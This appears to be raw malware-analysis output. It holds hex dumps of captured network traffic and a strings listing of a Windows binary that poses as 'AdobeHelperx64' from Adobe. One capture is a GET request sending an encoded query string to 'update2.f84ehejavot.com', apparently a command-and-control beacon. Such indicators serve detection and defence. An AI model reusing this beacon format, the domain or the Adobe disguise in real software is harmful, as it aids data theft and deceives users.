0x00000350 (00848)   46254146 25413625 4231676a 25394667   F%AF%A6%B1gj%9Fg
0x00000360 (00864)   25383925 45312544 32254236 25383263   %89%E1%D2%B6%82c
0x00000370 (00880)   61254132 25393525 41302541 32254133   a%A2%95%A0%A2%A3
0x00000380 (00896)   25413425 35456525 39372539 45254139   %A4%5Ee%97%9E%A9
0x00000390 (00912)   25413725 41332539 42652541 39254137   %A7%A3%9Be%A9%A7
0x000003a0 (00928)   25413325 39312541 42722539 37253545   %A3%91%ABr%97%5E
0x000003b0 (00944)   25393325 39462539 44777876 57254534   %93%9F%9DwxvW%E4
0x000003c0 (00960)   25444625 41442541 35254136 25394125   %DF%AD%A5%A6%9A%
0x000003d0 (00976)   41302539 41254437 25444325 45422545   A0%9A%D7%DC%EB%E
0x000003e0 (00992)   42254230 25424525 41342544 46254542   B%B0%BE%A4%DF%EB
0x000003f0 (01008)   25424325 44392541 38254139 25433825   %BC%D9%A8%A9%C8%
0x00000400 (01024)   39412543 46253935 25453025 42322541   9A%CF%95%E0%B2%A
0x00000410 (01040)   42254137 6e254233 25433925 44462544   B%A7n%B3%C9%DF%D
0x00000420 (01056)   31254437 25393474 25413125 43382545   1%D7%94t%A1%C8%E
0x00000430 (01072)   30254531 25393725 43332544 37253936   0%E1%97%C3%D7%96
0x00000440 (01088)   25463225 44432545 35253842 66662538   %F2%DC%E5%8Bff%8
0x00000450 (01104)   376f2543 36254533 25443625 42392541   7o%C6%E3%D6%B9%A
0x00000460 (01120)   41253842 25334525 37432542 35254539   A%8B%3E%7C%B5%E9
0x00000470 (01136)   25453325 44412545 33253943 55253939   %E3%DA%E3%9CU%99
0x00000480 (01152)   25394225 42302539 37254333 25443425   %9B%B0%97%C3%D4%
0x00000490 (01168)   41312545 35254536 25454125 39386763   A1%E5%E6%EA%98gc
0x000004a0 (01184)   25413025 35432539 33253743 77253834   %A0%5C%93%7Cw%84
0x000004b0 (01200)   25413925 41322539 33254437 25383525   %A9%A2%93%D7%85%
0x000004c0 (01216)   43322544 34254433 25443825 39332541   C2%D4%D3%D8%93%A
0x000004d0 (01232)   37253837 25433525 38362538 31254330   7%87%C5%86%81%C0
0x000004e0 (01248)   25443425 39382545 42254536 25453625   %D4%98%EB%E6%E6%
0x000004f0 (01264)   44412539 42254139 25383725 38342543   DA%9B%A9%87%84%C
0x00000500 (01280)   43254532 25453225 41342542 31537425   C%E2%E2%A4%B1St%
0x00000510 (01296)   39442539 30253930 25413125 41322541   9D%90%90%A1%A2%A
0x00000520 (01312)   35253630 55254239 25443225 44442545   5%60U%B9%D2%DD%E
0x00000530 (01328)   30254536 25444625 41372545 32254439   0%E6%DF%A7%E2%D9
0x00000540 (01344)   25453825 44462539 36253937 25443325   %E8%DF%96%97%D3%
0x00000550 (01360)   39332538 33253937 25453579 79253543   93%83%97%E5yy%5C
0x00000560 (01376)   51253946 25383525 41312541 30254130   Q%9F%85%A1%A0%A0
0x00000570 (01392)   25413425 35436b25 39382539 44254143   %A4%5Ck%98%9D%AC
0x00000580 (01408)   25413725 38307525 38352546 32254542   %A7%80u%85%F2%EB
0x00000590 (01424)   25444225 44412541 33552539 39253543   %DB%DA%A3U%99%5C
0x000005a0 (01440)   25394125 39442539 45735225 33447e25   %9A%9D%9EsR%3D~%
0x000005b0 (01456)   44422543 38254532 25444525 45352545   DB%C8%E2%DE%E5%E
0x000005c0 (01472)   33253934 25413925 38372543 33254532   3%94%A9%87%C3%E2
0x000005d0 (01488)   25454125 45382543 43254131 25393925   %EA%E8%CC%A1%99%
0x000005e0 (01504)   42412539 45253936 55672539 375f2539   BA%9E%96Ug%97_%9
0x000005f0 (01520)   38253846 25424625 41382541 39253943   8%8F%BF%A8%A9%9C
0x00000600 (01536)   25413425 45362544 37254439 25443125   %A4%E6%D7%D9%D1%
0x00000610 (01552)   45372545 38253846 25393725 44332544   E7%E8%8F%97%D3%D
0x00000620 (01568)   32253939 25394625 45422541 31692541   2%99%9F%EB%A1i%A
0x00000630 (01584)   32253937 25413025 38426669 25393525   2%97%A0%8Bfi%95%
0x00000640 (01600)   35452539 31254131 25413073 77692533   5E%91%A1%A0swi%3
0x00000650 (01616)   45253743 25384225 45302545 31254531   E%7C%8B%E0%E1%E1
0x00000660 (01632)   2544376b 25393025 42412545 36254543   %D7k%90%BA%E6%EC
0x00000670 (01648)   25454225 44382544 38552543 39254539   %EB%D8%D8U%C9%E9
0x00000680 (01664)   25453225 43452539 41254138 25444125   %E2%CE%9A%A8%DA%
0x00000690 (01680)   38427079 25433025 42432542 38254137   8Bpy%C0%BC%B8%A7
0x000006a0 (01696)   25393625 4446727a 25453225 44462545   %96%DFrz%E2%DF%E
0x000006b0 (01712)   37254131 63254343 25453525 44452538   7%A1c%CC%E5%DE%8
0x000006c0 (01728)   34253744 25434525 41382545 42254541   4%7D%CE%A8%EB%EA
0x000006d0 (01744)   25453625 39392539 41254144 25434325   %E6%99%9A%AD%CC%
0x000006e0 (01760)   33426d25 45362544 36254231 25414525   3Bm%E6%D6%B1%AE%
0x000006f0 (01776)   41312539 41254536 25393325 44352545   A1%9A%E6%93%D5%E
0x00000700 (01792)   37254437 25383138 25393825 44412544   7%D7%818%98%DA%D
0x00000710 (01808)   46254543 25454125 41312544 30254144   F%EC%EA%A1%D0%AD
0x00000720 (01824)   25444525 38342537 44254532 25394525   %DE%84%7D%E2%9E%
0x00000730 (01840)   41332544 33253944 25434125 44452544   A3%D3%9D%CA%DE%D
0x00000740 (01856)   42712541 41254142 25393625 37466f25   Bq%AA%AB%96%7Fo%
0x00000750 (01872)   45332544 34254534 25454125 39372539   E3%D4%E4%EA%97%9
0x00000760 (01888)   38254343 25453025 41372544 43254542   8%CC%E0%A7%DC%EB
0x00000770 (01904)   25443042 25383325 45332545 36254343   %D0B%83%E3%E6%CC
0x00000780 (01920)   25413825 41382539 35253933 25444225   %A8%A8%95%93%DB%
0x00000790 (01936)   44347a4d 25423125 41362539 45254130   D4zM%B1%A6%9E%A0
0x000007a0 (01952)   25434125 45382544 34253746 7e254131   %CA%E8%D4%7F~%A1
0x000007b0 (01968)   25414225 43412544 35254538 25454125   %AB%CA%D5%E8%EA%
0x000007c0 (01984)   45372539 39253941 25463125 44432538   E7%99%9A%F1%DC%8
0x000007d0 (02000)   30752541 38254142 25434125 39362544   0u%A8%AB%CA%96%D
0x000007e0 (02016)   32254532 25453171 25414125 41422539   2%E2%E1q%AA%AB%9
0x000007f0 (02032)   36253746 6f254533 25453525 44352544   6%7Fo%E3%E5%D5%D
0x00000800 (02048)   43253944 25413825 44422539 42254445   C%9D%A8%DB%9B%DE
0x00000810 (02064)   25454625 44387825 33462545 43254544   %EF%D8x%3F%EC%ED
0x00000820 (02080)   25443625 44332541 34254138 25444225   %D6%D3%A4%A8%DB%
0x00000830 (02096)   35432543 38254537 25443250 4f254136   5C%C8%E7%D2PO%A6
0x00000840 (02112)   25413725 44352543 44254446 25453225   %A7%D5%CD%DF%E2%
0x00000850 (02128)   45362541 32253933 25414425 43437a25   E6%A2%93%AD%CCz%
0x00000860 (02144)   38332544 38254538 25434625 39452545   83%D8%E8%CF%9E%E
0x00000870 (02160)   38254442 25444125 39392539 41254144   8%DB%DA%99%9A%AD
0x00000880 (02176)   25434325 33426d25 45322545 33254136   %CC%3Bm%E2%E3%A6
0x00000890 (02192)   25414425 41322541 34254536 25393325   %AD%A2%A4%E6%93%
0x000008a0 (02208)   44352545 37254437 25383138 25413825   D5%E7%D7%818%A8%
0x000008b0 (02224)   44442544 30254531 25453625 45362544   DD%D0%E1%E6%E6%D
0x000008c0 (02240)   46632544 45254546 25443878 25334625   Fc%DE%EF%D8x%3F%
0x000008d0 (02256)   41382544 37253944 25443225 44422545   A8%D7%9D%D2%DB%E
0x000008e0 (02272)   30254239 73253938 25413925 4437727a   0%B9s%98%A9%D7rz
0x000008f0 (02288)   25453225 45382544 37253936 25413425   %E2%E8%D7%96%A4%
0x00000900 (02304)   44412545 31254137 25444325 45422544   DA%E1%A7%DC%EB%D
0x00000910 (02320)   30422538 33254542 25443425 44452541   0B%83%EB%D4%DE%A
0x00000920 (02336)   30253944 25443625 41312544 37253944   0%9D%D6%A1%D7%9D
0x00000930 (02352)   25443225 42422541 41253430 25334225   %D2%BB%AA%40%3B%
0x00000940 (02368)   44362544 43254444 25394425 44372545   D6%DC%DD%9D%D7%E
0x00000950 (02384)   43253933 42712544 32254631 25453725   C%93Bq%D2%F1%E7%
0x00000960 (02400)   44462544 41254137 25444525 45392541   DF%DA%A7%DE%E9%A
0x00000970 (02416)   31254430 25414425 39417438 25443325   1%D0%AD%9At8%D3%
0x00000980 (02432)   45382545 31254142 25423425 41312541   E8%E1%AB%B4%A1%A
0x00000990 (02448)   38254130 25434125 45382544 34253746   8%A0%CA%E8%D4%7F
0x000009a0 (02464)   7e254131 25414225 43412544 35254538   ~%A1%AB%CA%D5%E8
0x000009b0 (02480)   25454125 45372539 39253941 25463125   %EA%E7%99%9A%F1%
0x000009c0 (02496)   44432538 30752538 38253941 25433825   DC%80u%88%9A%C8%
0x000009d0 (02512)   41302543 36254437 25423625 42312541   A0%C6%D7%B6%B1%A
0x000009e0 (02528)   39253938 25413925 44372544 37253945   9%98%A9%D7%D7%9E
0x000009f0 (02544)   25443425 45412544 39253342 25334625   %D4%EA%D9%3B%3F%
0x00000a00 (02560)   44452544 41254539 25453525 44382544   DE%DA%E9%E5%D8%D
0x00000a10 (02576)   46254143 25453425 41352544 38254533   F%AC%E4%A5%D8%E3
0x00000a20 (02592)   25394142 71254131 25443925 44322544   %9ABq%A1%D9%D2%D
0x00000a30 (02608)   35254232 25423825 41375f25 44372544   5%B2%B8%A7_%D7%D
0x00000a40 (02624)   44254435 25374325 37432543 37253933   D%D5%7C%7C%C7%93
0x00000a50 (02640)   25393625 44392544 30254531 25424425   %96%D9%D0%E1%BD%
0x00000a60 (02656)   44432544 37254139 25444525 45392542   DC%D7%A9%DE%E9%B
0x00000a70 (02672)   42254441 25413825 41392539 35253933   B%DA%A8%A9%95%93
0x00000a80 (02688)   25444225 44347a4d 25393825 39382539   %DB%D4zM%98%98%9
0x00000a90 (02704)   32254534 25433825 44382542 46254534   2%E4%C8%D8%BF%E4
0x00000aa0 (02720)   25453325 41322541                     %E3%A2%A

0x00000000 (00000)   504f5354 202f3365 31363236 34372d63   POST /3e162647-c
0x00000010 (00016)   3364382d 34346333 2d393937 622d3061   3d8-44c3-997b-0a
0x00000020 (00032)   63396135 66363838 33322f20 48545450   c9a5f68832/ HTTP
0x00000030 (00048)   2f312e31 0d0a4361 6368652d 436f6e74   /1.1..Cache-Cont
0x00000040 (00064)   726f6c3a 206e6f2d 63616368 650d0a43   rol: no-cache..C
0x00000050 (00080)   6f6e6e65 6374696f 6e3a2043 6c6f7365   onnection: Close
0x00000060 (00096)   0d0a5072 61676d61 3a206e6f 2d636163   ..Pragma: no-cac
0x00000070 (00112)   68650d0a 436f6e74 656e742d 54797065   he..Content-Type
0x00000080 (00128)   3a206170 706c6963 6174696f 6e2f736f   : application/so
0x00000090 (00144)   61702b78 6d6c0d0a 55736572 2d416765   ap+xml..User-Age
0x000000a0 (00160)   6e743a20 57534441 50490d0a 436f6e74   nt: WSDAPI..Cont
0x000000b0 (00176)   656e742d 4c656e67 74683a20 3733330d   ent-Length: 733.
0x000000c0 (00192)   0a486f73 743a2031 39322e31 36382e31   .Host: 192.168.1
0x000000d0 (00208)   30302e31 39393a35 3335370d 0a0d0a3c   00.199:5357....<
0x000000e0 (00224)   3f786d6c 20766572 73696f6e 3d22312e   ?xml version="1.
0x000000f0 (00240)   30222065 6e636f64 696e673d 22757466   0" encoding="utf
0x00000100 (00256)   2d38223f 3e3c736f 61703a45 6e76656c   -8"?><soap:Envel
0x00000110 (00272)   6f706520 786d6c6e 733a736f 61703d22   ope xmlns:soap="
0x00000120 (00288)   68747470 3a2f2f77 77772e77 332e6f72   http://www.w3.or
0x00000130 (00304)   672f3230 30332f30 352f736f 61702d65   g/2003/05/soap-e
0x00000140 (00320)   6e76656c 6f706522 20786d6c 6e733a77   nvelope" xmlns:w
0x00000150 (00336)   73613d22 68747470 3a2f2f73 6368656d   sa="http://schem
0x00000160 (00352)   61732e78 6d6c736f 61702e6f 72672f77   as.xmlsoap.org/w
0x00000170 (00368)   732f3230 30342f30 382f6164 64726573   s/2004/08/addres
0x00000180 (00384)   73696e67 2220786d 6c6e733a 6c6d733d   sing" xmlns:lms=
0x00000190 (00400)   22687474 703a2f2f 73636865 6d61732e   "http://schemas.
0x000001a0 (00416)   6d696372 6f736f66 742e636f 6d2f7769   microsoft.com/wi
0x000001b0 (00432)   6e646f77 732f6c6d 732f3230 30372f30   ndows/lms/2007/0
0x000001c0 (00448)   38223e3c 736f6170 3a486561 6465723e   8"><soap:Header>
0x000001d0 (00464)   3c777361 3a546f3e 75726e3a 75756964   <wsa:To>urn:uuid
0x000001e0 (00480)   3a336531 36323634 372d6333 64382d34   :3e162647-c3d8-4
0x000001f0 (00496)   3463332d 39393762 2d306163 39613566   4c3-997b-0ac9a5f
0x00000200 (00512)   36383833 323c2f77 73613a54 6f3e3c77   68832</wsa:To><w
0x00000210 (00528)   73613a41 6374696f 6e3e6874 74703a2f   sa:Action>http:/
0x00000220 (00544)   2f736368 656d6173 2e786d6c 736f6170   /schemas.xmlsoap
0x00000230 (00560)   2e6f7267 2f77732f 32303034 2f30392f   .org/ws/2004/09/
0x00000240 (00576)   7472616e 73666572 2f476574 3c2f7773   transfer/Get</ws
0x00000250 (00592)   613a4163 74696f6e 3e3c7773 613a4d65   a:Action><wsa:Me
0x00000260 (00608)   73736167 6549443e 75726e3a 75756964   ssageID>urn:uuid
0x00000270 (00624)   3a626337 63656638 342d3035 39662d34   :bc7cef84-059f-4
0x00000280 (00640)   3537632d 61366564 2d353136 32386338   57c-a6ed-51628c8
0x00000290 (00656)   30393637 303c2f77 73613a4d 65737361   09670</wsa:Messa
0x000002a0 (00672)   67654944 3e3c7773 613a5265 706c7954   geID><wsa:ReplyT
0x000002b0 (00688)   6f3e3c77 73613a41 64647265 73733e68   o><wsa:Address>h
0x000002c0 (00704)   7474703a 2f2f7363 68656d61 732e786d   ttp://schemas.xm
0x000002d0 (00720)   6c736f61 702e6f72 672f7773 2f323030   lsoap.org/ws/200
0x000002e0 (00736)   342f3038 2f616464 72657373 696e672f   4/08/addressing/
0x000002f0 (00752)   726f6c65 2f616e6f 6e796d6f 75733c2f   role/anonymous</
0x00000300 (00768)   7773613a 41646472 6573733e 3c2f7773   wsa:Address></ws
0x00000310 (00784)   613a5265 706c7954 6f3e3c77 73613a46   a:ReplyTo><wsa:F
0x00000320 (00800)   726f6d3e 3c777361 3a416464 72657373   rom><wsa:Address
0x00000330 (00816)   3e75726e 3a757569 643a3733 64653931   >urn:uuid:73de91
0x00000340 (00832)   64372d32 6131632d 34613463 2d396337   d7-2a1c-4a4c-9c7
0x00000350 (00848)   352d3331 64653536 32666232 61363c2f   5-31de562fb2a6</
0x00000360 (00864)   7773613a 41646472 6573733e 3c2f7773   wsa:Address></ws
0x00000370 (00880)   613a4672 6f6d3e3c 6c6d733a 4c617267   a:From><lms:Larg
0x00000380 (00896)   654d6574 61646174 61537570 706f7274   eMetadataSupport
0x00000390 (00912)   2f3e3c2f 736f6170 3a486561 6465723e   /></soap:Header>
0x000003a0 (00928)   3c736f61 703a426f 64792f3e 3c2f736f   <soap:Body/></so
0x000003b0 (00944)   61703a45 6e76656c 6f70653e            ap:Envelope>

0x00000000 (00000)   47455420 2f3f6865 3d6b6469 6b6d704c   GET /?he=kdikmpL
0x00000010 (00016)   57795a52 667a476c 706d5a79 617a6350   WyZRfzGlpmZyazcP
0x00000020 (00032)   61314e5a 666b3647 6a717162 4b77746a   a1NZfk6GjqqbKwtj
0x00000030 (00048)   48614a54 4c587066 5531746e 63304f4c   HaJTLXpfU1tnc0OL
0x00000040 (00064)   62326143 67347462 63336f72 4631646d   b2aCg4tbc3orF1dm
0x00000050 (00080)   54613957 6d6e7032 63737076 54347232   Ta9Wmnp2cspvT4r2
0x00000060 (00096)   3161346e 6532646e 647a6357 7879475a   1a4ne2dndzcWxyGZ
0x00000070 (00112)   6b6c3571 5978356e 4c6d3561 716f366d   kl5qYx5nLm5aqo6m
0x00000080 (00128)   52786450 53313647 556b3671 61614a54   RxdPS16GUk6qaaJT
0x00000090 (00144)   486e4a61 627a7371 517a7425 32465473   HnJabzsqQzt%2FTs
0x000000a0 (00160)   57536e70 4c477270 4b616170 36646d5a   WSnpLGrpKaap6dmZ
0x000000b0 (00176)   7164365a 4b75656d 4b796b71 71696e5a   qd6ZKuemKykqqinZ
0x000000c0 (00192)   366d6e6f 4c75696d 5a6d7469 51253344   6mnoLuimZmtiQ%3D
0x000000d0 (00208)   25334420 48545450 2f312e31 0d0a486f   %3D HTTP/1.1..Ho
0x000000e0 (00224)   73743a20 75706461 7465322e 66383465   st: update2.f84e
0x000000f0 (00240)   68656a61 766f742e 636f6d0d 0a557365   hejavot.com..Use
0x00000100 (00256)   722d4167 656e743a 204d6f7a 696c6c61   r-Agent: Mozilla
0x00000110 (00272)   2f352e30 20285769 6e646f77 73204e54   /5.0 (Windows NT
0x00000120 (00288)   20362e31 3b20574f 5736343b 2072763a    6.1; WOW64; rv:
0x00000130 (00304)   322e3062 38707265 29204765 636b6f2f   2.0b8pre) Gecko/
0x00000140 (00320)   32303130 31313134 20466972 65666f78   20101114 Firefox
0x00000150 (00336)   2f342e30 62387072 650d0a43 6f6e6e65   /4.0b8pre..Conne
0x00000160 (00352)   6374696f 6e3a204b 6565702d 416c6976   ction: Keep-Aliv
0x00000170 (00368)   650d0a0d 0a                           e....

0x00000000 (00000)   504f5354 202f3365 31363236 34372d63   POST /3e162647-c
0x00000010 (00016)   3364382d 34346333 2d393937 622d3061   3d8-44c3-997b-0a
0x00000020 (00032)   63396135 66363838 33322f20 48545450   c9a5f68832/ HTTP
0x00000030 (00048)   2f312e31 0d0a4361 6368652d 436f6e74   /1.1..Cache-Cont
0x00000040 (00064)   726f6c3a 206e6f2d 63616368 650d0a43   rol: no-cache..C
0x00000050 (00080)   6f6e6e65 6374696f 6e3a2043 6c6f7365   onnection: Close
0x00000060 (00096)   0d0a5072 61676d61 3a206e6f 2d636163   ..Pragma: no-cac
0x00000070 (00112)   68650d0a 436f6e74 656e742d 54797065   he..Content-Type
0x00000080 (00128)   3a206170 706c6963 6174696f 6e2f736f   : application/so
0x00000090 (00144)   61702b78 6d6c0d0a 55736572 2d416765   ap+xml..User-Age
0x000000a0 (00160)   6e743a20 57534441 50490d0a 436f6e74   nt: WSDAPI..Cont
0x000000b0 (00176)   656e742d 4c656e67 74683a20 3733330d   ent-Length: 733.
0x000000c0 (00192)   0a486f73 743a2031 39322e31 36382e31   .Host: 192.168.1
0x000000d0 (00208)   30302e31 39373a35 3335370d 0a0d0a3c   00.197:5357....<
0x000000e0 (00224)   3f786d6c 20766572 73696f6e 3d22312e   ?xml version="1.
0x000000f0 (00240)   30222065 6e636f64 696e673d 22757466   0" encoding="utf
0x00000100 (00256)   2d38223f 3e3c736f 61703a45 6e76656c   -8"?><soap:Envel
0x00000110 (00272)   6f706520 786d6c6e 733a736f 61703d22   ope xmlns:soap="
0x00000120 (00288)   68747470 3a2f2f77 77772e77 332e6f72   http://www.w3.or
0x00000130 (00304)   672f3230 30332f30 352f736f 61702d65   g/2003/05/soap-e
0x00000140 (00320)   6e76656c 6f706522 20786d6c 6e733a77   nvelope" xmlns:w
0x00000150 (00336)   73613d22 68747470 3a2f2f73 6368656d   sa="http://schem
0x00000160 (00352)   61732e78 6d6c736f 61702e6f 72672f77   as.xmlsoap.org/w
0x00000170 (00368)   732f3230 30342f30 382f6164 64726573   s/2004/08/addres
0x00000180 (00384)   73696e67 2220786d 6c6e733a 6c6d733d   sing" xmlns:lms=
0x00000190 (00400)   22687474 703a2f2f 73636865 6d61732e   "http://schemas.
0x000001a0 (00416)   6d696372 6f736f66 742e636f 6d2f7769   microsoft.com/wi
0x000001b0 (00432)   6e646f77 732f6c6d 732f3230 30372f30   ndows/lms/2007/0
0x000001c0 (00448)   38223e3c 736f6170 3a486561 6465723e   8"><soap:Header>
0x000001d0 (00464)   3c777361 3a546f3e 75726e3a 75756964   <wsa:To>urn:uuid
0x000001e0 (00480)   3a336531 36323634 372d6333 64382d34   :3e162647-c3d8-4
0x000001f0 (00496)   3463332d 39393762 2d306163 39613566   4c3-997b-0ac9a5f
0x00000200 (00512)   36383833 323c2f77 73613a54 6f3e3c77   68832</wsa:To><w
0x00000210 (00528)   73613a41 6374696f 6e3e6874 74703a2f   sa:Action>http:/
0x00000220 (00544)   2f736368 656d6173 2e786d6c 736f6170   /schemas.xmlsoap
0x00000230 (00560)   2e6f7267 2f77732f 32303034 2f30392f   .org/ws/2004/09/
0x00000240 (00576)   7472616e 73666572 2f476574 3c2f7773   transfer/Get</ws
0x00000250 (00592)   613a4163 74696f6e 3e3c7773 613a4d65   a:Action><wsa:Me
0x00000260 (00608)   73736167 6549443e 75726e3a 75756964   ssageID>urn:uuid
0x00000270 (00624)   3a316664 62656138 642d6337 38642d34   :1fdbea8d-c78d-4
0x00000280 (00640)   6133342d 62663630 2d623463 39613064   a34-bf60-b4c9a0d
0x00000290 (00656)   65636233 343c2f77 73613a4d 65737361   ecb34</wsa:Messa
0x000002a0 (00672)   67654944 3e3c7773 613a5265 706c7954   geID><wsa:ReplyT
0x000002b0 (00688)   6f3e3c77 73613a41 64647265 73733e68   o><wsa:Address>h
0x000002c0 (00704)   7474703a 2f2f7363 68656d61 732e786d   ttp://schemas.xm
0x000002d0 (00720)   6c736f61 702e6f72 672f7773 2f323030   lsoap.org/ws/200
0x000002e0 (00736)   342f3038 2f616464 72657373 696e672f   4/08/addressing/
0x000002f0 (00752)   726f6c65 2f616e6f 6e796d6f 75733c2f   role/anonymous</
0x00000300 (00768)   7773613a 41646472 6573733e 3c2f7773   wsa:Address></ws
0x00000310 (00784)   613a5265 706c7954 6f3e3c77 73613a46   a:ReplyTo><wsa:F
0x00000320 (00800)   726f6d3e 3c777361 3a416464 72657373   rom><wsa:Address
0x00000330 (00816)   3e75726e 3a757569 643a3733 64653931   >urn:uuid:73de91
0x00000340 (00832)   64372d32 6131632d 34613463 2d396337   d7-2a1c-4a4c-9c7
0x00000350 (00848)   352d3331 64653536 32666232 61363c2f   5-31de562fb2a6</
0x00000360 (00864)   7773613a 41646472 6573733e 3c2f7773   wsa:Address></ws
0x00000370 (00880)   613a4672 6f6d3e3c 6c6d733a 4c617267   a:From><lms:Larg
0x00000380 (00896)   654d6574 61646174 61537570 706f7274   eMetadataSupport
0x00000390 (00912)   2f3e3c2f 736f6170 3a486561 6465723e   /></soap:Header>
0x000003a0 (00928)   3c736f61 703a426f 64792f3e 3c2f736f   <soap:Body/></so
0x000003b0 (00944)   61703a45 6e76656c 6f70653e            ap:Envelope>


Strings
.
.
..
....%...
.AEc..
.
q:.
.
H
q5
%
55.
*..~55
.
1
m
.
I.
.
C
F
.g0T
4
"p
S..e
.
..U
.
.
.}..

040904E4
 2005-2010 Adobe Systems Incorporated. All rights reserved.
3,0,121,0
AdobeHelperx64
AdobeHelperx64.exe
AdobeHelperx64 Utility Application
Adobe Setup
Adobe Systems Incorporated
CompanyName
FileDescription
FileVersion
InternalName
LegalCopyright
OriginalFilename
ProductName
ProductVersion
StringFileInfo
Translation
VarFileInfo
VS_VERSION_INFO
?|)&;|
00 a+L\
)"\0]9
[0|d[A}^n
0dT>bup
0Ljk%V
0mV01AUm2
0o34@=
0qc3or
0SersDb
]{)1]|
1__6Nv[
	180@d
1a$}Qh
1cWM23V
1]C	;<x
1i:}qo
?1j1(x
1 |jZT
1k4Uao
1?m3l7m
1M;}	I
1@Mpb;Sb
1Mz)3Mu
1NP02{Q
1]p)f]m
1Qt/G\u
1r(@5t7/
_!1:s} 
(1SBK9
1teHBs
1+-uQ+
2a>F[Cur7
2~'EwJ
2f0,`:C
2h9Wf+
2hrTNffEEtaP,uun
2{h-x|{O
,>	2Iz'
2=^`Kg
<2M==1M
2T	X#r
2WDXlA
2ZcT<NlC
31ng[8c5
=:3;2~
33,9ofB9
3|?4EY
_'3deL
3'G'9,
3@o9:@E
|\3}#u
3xYGN'
3yVF5M
3zsqb7
4GBe/=\e
~":4$t=<
4y)\Dm
<54%5g/|"
57aP5%a
5AJ)67J
5+B(6^
5*BpfN
 5gy^}
5H0rC4
5H2G5M
?5H^4e
@5H6oy
5H~b7"A
5HBA5H6
5HBG5H
5H>b?H
5HH6r)
5HnPp)f
5Hnwq)f
@5HX{m
5I.]{[
5I2F5L
5I6mq)T
5I>apl
5I>_As
5IB;5Hf
5IBA5IVa|
5IBF5HV+=
5Ifam)f
5IFby)o
5If`x)F
5I>_?K
5IN2z)oCy
5Ina2e
5InjUm
5Ir;5IF[x)
5IrI5M
5IrL5M
5I.sm)1
5I.sy)
5IVgz)
5I&\z)A
5lI+29
5lJ!'B%
5M8Nu1
5Mhiq	
<5MHXp
5M`l{)
5MX0z)t
5MxYFi4
5Oq&v7
5+Pc1}
5q9_#:L(
5~qHf\
5S2byh
5saP<tun
5UjSfV
/)5W6T1
67VQ7Q
6]cPf3
6Dm)1_m
6G-u9K
6-M1CZ
6Nej<z
6~TD#8
-6W:\d
6^yV&4%
6Zz)Tl
7B-BnP
7h4KA(
|7IHi 
7NTt	=`b
7Q$ed>
7?Tv7T[
{8dpr7
8kW/9vZ
8L	N K
8T|9f8WH
]9^ @0g5
92D\^z
9:`7:N[{:
9(B(FV
9=d,1t
)9d-&A
9=eDS5E
9^ Hpg5
9iTz\4T|W8T
(:|,9j
9z1"^;
}a+,}!'
$/:A0w
>A1;"`
%A1= h@_53A
|A1(UB1
a2=:T#=ET
A|3$=q)
[a#4Ld,
A5Hx8=
A5I&lm
A\\6OUc
#~AA|8W
%AaU1Fo-DStq
A	BP7F	
ADVAPI32.dll
aeS=]n &QP#KSe"
a]i0Xi
Ajr><O
ALq)T[m
Am9u!hA
AmoBGVt3GX
AoUM?e3
APe1PWf(>YS
Aphxk~
Ap)VS{)f
}Arr<$z
arZ%/C]R<
ASn=ESR=)SV=
</assembly>
<assembly xmlns="urn:schemas-microsoft-com:asm.v1" manifestVersion="1.0">
AssignProcessToJobObject
'a&v;R
A?x)]?m)
A_z)DoB
Az`(z0
]!@/	b
!*=b4E
B5IrA5
]('b5PF5
BAnkhT
=BBe-;
:BE=c~
=BEg&	
BerT.gfE5c]c
	'B(f>
bHTGO}
BitBlt
]Bje0:>
bp)*?{
$?^b_=Q
<}[b<v[X<
byaW?Oe35
C)2PZ=
C3s`]r
C5I6]y
C5L@Bm
$C!_<6
<c~AAXp
'C.@BS
CCF<.5A
ce^*Xe
ciH=#-
C/kOBB
C\l5QUn
CloseHandle
clsid\{4c4a5e40-732c-11d0-8816-00a0c903b83c}\progid
CreateCompatibleDC
CreateFontIndirectW
CreateHalftonePalette
CreateIoCompletionPort
CreateJobObjectW
CreateMetaFileA
CreateProcessW
CreateSolidBrush
CreateThread
.c@!'S/
C @sg5V
`cT,dlC
^CyHXPv,XCz8XOv
c>z)*Cm
D150@m
D}1<Dq
D!2B>6
D5H8$=
+d88Q.
dAerS(A
@.data
@dbPn3/
?De-GFe"$Wr
DeleteObject
DePDIk"
  </dependency>
  <dependency>
dH</|3#MTl
DialogBoxParamW
Di`C]z
DispatchMessageW
DPe/HXe
~:DPsDSe
DrawTextW
D%r?b,
;DS]%6
d"UO#5
dv!Sd.eu
DVt}HJe
dWZ<V"
dXe IIpA
:d\XrdR
D_)?Zd
e3#bME
e^3}YY
E5INnm
E9#e#8
Ea6m9m
Ea>#}i9
eap}>-
/eFuU.
~EHtyOBby_$bvH(et\
EI}%;H
EJe0CJC
emcJi_Bpy
EndDialog
EPe-MJe"RWr
EQr5rDa
eQ[y)f
ewD_.k
ExitProcess
ExitWindowsEx
ExtTextOutW
e	&]Y	
EZd,IBi
<Ez)fm
F5I0em
F5Lx\E
/F5p&0
f=],$`5PF
f6wbX )_E
f7Q01g
f7Q`Cf
fc }!c
fcz)x;
FDCy.DDz.D<
FDep	TI
>Fe%b\a2RQsEWWl
f^eWV4
fEx)_p
f>F)5J
ffDnWa
f^F"h"
f]{)fi
FI-5E].
FillPath
fmh+"O
$f`$ml?
fNp)jh
FNp)ShB
FO#H6d
f^o)]J0H
Fp6maS
f@p)o@{
f\p)Tk
FreeLibrary
fSm4*>z.
fT,jiC
fuCX^dB
f+U{e9U{c
fVx)O\
fWu+4V
f]x)F\y
f^y)OYm
FyX~WKX~V
F^z)/h
fZp)fZp)
G5HNsp)6
G5HrF5H
@g5Wt!
>~g[8a5
<gA34$
GCdwr"
GDI32.dll
GetCommandLineW
GetCurrentProcess
GetCurrentProcessId
GetCurrentThreadId
GetDlgItem
GetModuleHandleA
GetModuleHandleW
GetObjectW
GetParent
GetPrivateProfileIntW
GetProcAddress
GetQueuedCompletionStatus
GetShellWindow
GetStartupInfoW
GetSysColor
GetSystemDirectoryW
GetSystemMetrics
GetSystemTimeAsFileTime
GetTextExtentPointW
GetTickCount
GetWindowRect
GetWindowTextW
!Gl8Py
_GlW(MTo.PlC
GPe-KKk
g[q3Wf
/GSe"pbB
G^vp)]
h1Dec1Qt
H2@5If	q
H2E5Hn
H2f5H^Vm
H2G5I2G5
H2M5Hf3E
H5H>bm
H5Hfvq
H.7})/m
,^]H9V
HBG5Hf
H&e{)8j
.h`EQG
Hf%})_
>hfEEzaP<wun
HFoUqQtUqQr
Hf`z)8?
HhAm3D
@H##>k
H^M4qt
H^=m)jo
Hnvq)o
Hr?5Ir>5
HrB5L:
HrE5I&
HrJ5IFTp)d
HrM5Lz
Hrv5M8>y
